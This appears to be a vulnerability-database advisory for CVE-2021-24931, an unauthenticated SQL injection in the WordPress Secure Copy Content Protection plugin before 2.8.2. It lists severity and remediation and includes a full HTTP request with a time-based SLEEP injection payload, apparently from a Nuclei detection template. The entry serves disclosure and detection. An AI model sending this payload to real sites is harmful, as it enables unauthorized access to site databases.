| Title | WordPress Secure Copy Content Protection and Content Locking <2.8.2 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database. |
| Remediation | Fixed in version 2.8.2. |
| CVSS Score | 9.8 |
| EPSS Score | 0.71971 |
| CVE ID | CVE-2021-24931 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2021 cve wp-plugin wp packetstorm unauth wpscan sqli wordpress secure-copy-content-protection ays-pro vkev vuln |
WordPress Secure Copy Content Protection and Content Locking plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not escape the sccp_id parameter of the ays_sccp_results_export_file AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24931.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24931.pcap
N/AN/A